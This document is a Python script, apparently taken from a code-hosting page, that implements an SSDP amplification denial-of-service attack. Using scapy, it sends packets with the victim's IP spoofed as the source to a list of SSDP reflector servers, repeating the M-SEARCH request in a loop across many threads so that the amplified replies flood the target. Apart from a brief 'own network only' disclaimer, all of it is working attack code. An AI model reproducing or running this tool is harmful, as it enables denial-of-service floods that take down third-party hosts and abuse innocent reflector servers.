Path: blob/master/DDOS Scripts/AMP YUBINA SCRIPTS/ssdp_attack.py
4607 views
#!/usr/bin/env python1from scapy.all import *2import sys3import threading4import time5#SSDP Amp DOS attack6#usage ssdp.py <target ip> <ssdpserver list> <number of threads> ex: ssdp.py 1.2.3.4 file.txt 107#FOR USE ON YOUR OWN NETWORK ONLY8910#packet sender11def deny():12#Import globals to function13global ssdplist14global currentserver15global data16global target17ssdpserver = ssdplist[currentserver] #Get new server18currentserver = currentserver + 1 #Increment for next19packet = IP(dst=ssdpserver,src=target)/UDP(sport=1900,dport=1900)/Raw(load=data) #BUILD IT20send(packet,loop=1) #SEND IT2122#So I dont have to have the same stuff twice23def printhelp():24print "SSDP Amplification DOS Attack"25print "By Metal"26print "Usage ssdpdos.py <target ip> <ssdp server list> <number of threads>"27print "ex: ssdpdos.py 1.2.3.4 file.txt 10"28print "SSDP serverlist file should contain one IP per line"29print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"30exit(0)3132if len(sys.argv) < 4:33printhelp()34#Fetch Args35target = sys.argv[1]3637#Help out idiots38if target in ("help","-h","h","?","--h","--help","/?"):39printhelp()4041ssdpserverfile = sys.argv[2]42numberthreads = int(sys.argv[3])43#System for accepting bulk input44ssdplist = []45currentserver = 046with open(ssdpserverfile) as f:47ssdplist = f.readlines()4849#Make sure we dont out of bounds50if numberthreads > int(len(ssdplist)):51print "Attack Aborted: More threads than servers"52print "Next time dont create more threads than servers"53exit(0)5455#Magic Packet aka SSDP M-Search request Packet56data = "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: \"ssdp:discover\"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n"5758#Hold our threads59threads = []60print "Starting to flood: "+ target + " using SSDP list: " + ssdpserverfile + " With " + str(numberthreads) + " threads"61print "Use CTRL+C to stop attack"6263#Thread spawner64for n in range(numberthreads):65thread = threading.Thread(target=deny)66thread.daemon = True67thread.start()6869threads.append(thread)7071#In progress!72print "Sending SSDP requests..."7374#Keep alive so ctrl+c still kills all them threads75while True:76time.sleep(1)7778